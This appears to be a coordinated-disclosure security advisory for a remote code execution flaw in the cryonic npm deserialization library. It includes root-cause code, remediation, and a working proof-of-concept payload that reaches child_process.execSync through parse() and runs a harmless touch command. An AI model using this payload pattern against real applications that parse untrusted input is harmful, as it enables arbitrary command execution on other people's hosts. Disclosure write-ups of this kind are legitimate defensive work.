================================================================================ legitbiz[research] // advisory ================================================================================ id: LB-2026-012 // cryonic target: cryonic <= 1.0.0 (npm) / hunterloftis/cryo type: Remote Code Execution / Insecure Deserialization (CWE-502) severity: Critical (CVSS:3.1 9.8 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) channel: GitHub Issues / Coordinated Disclosure date: 2026-11-27 status: submitted / vendor notified researcher: legitbiz[research] -------------------------------------------------------------------------------- [01] // summary -------------------------------------------------------------------------------- An insecure deserialization vulnerability in cryonic version <= 1.0.0 allows an attacker who can control input to cryonic.parse() to achieve Remote Code Execution. The library reconstructs serialized JavaScript functions using `new Function(args, body)`, which executes attacker-controlled code during deserialization. -------------------------------------------------------------------------------- [02] // root cause analysis (lib/cryo.js) -------------------------------------------------------------------------------- During serialization (stringify()), functions are tagged with _CRYO_FUNCTION_ and converted to strings via item.toString(). During deserialization (parse() -> rebuildFromReferences() -> unwrapConstructor() / unwrap()), these tagged strings are reconstructed using `new Function()`: In unwrapConstructor() (line ~160):  if (starts(val, FUNCTION_FLAG)) {  return (new Function("return " + val.slice(FUNCTION_FLAG.length)))();  } This immediately invokes the constructed function:  new Function("return " + attacker_code)() Because `new Function()` executes code in the global scope where Node.js globals (including process.mainModule.require) are accessible, an attacker can call child_process to execute arbitrary shell commands. -------------------------------------------------------------------------------- [03] // proof of concept -------------------------------------------------------------------------------- const cryonic = require('cryonic'); const fs = require('fs'); const payload = JSON.stringify({  root: '_CRYO_REF_0',  references: [{  contents: {},  value: '_CRYO_FUNCTION_(process.mainModule.require("child_process").execSync("touch /tmp/cryonic_pwned"))'  }] }); cryonic.parse(payload); // executes arbitrary code immediately setTimeout(() => {  console.log('RCE confirmed:', fs.existsSync('/tmp/cryonic_pwned'));  fs.unlinkSync('/tmp/cryonic_pwned'); }, 1000); -------------------------------------------------------------------------------- [04] // impact assessment -------------------------------------------------------------------------------- * CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Score: 9.8 Critical) * Complete compromise of the host Node.js application process. An attacker who  can influence data passed to cryonic.parse() can execute arbitrary system  commands with full host permissions, read sensitive environmental secrets,  and pivot internally. -------------------------------------------------------------------------------- [05] // remediation -------------------------------------------------------------------------------- Do not reconstruct functions from deserialized untrusted data using new Function(). Remove function serialization support entirely, or reject any serialized value containing the _CRYO_FUNCTION_ flag:  if (starts(val, FUNCTION_FLAG)) {  throw new Error('Deserialization of functions is disabled');  } ================================================================================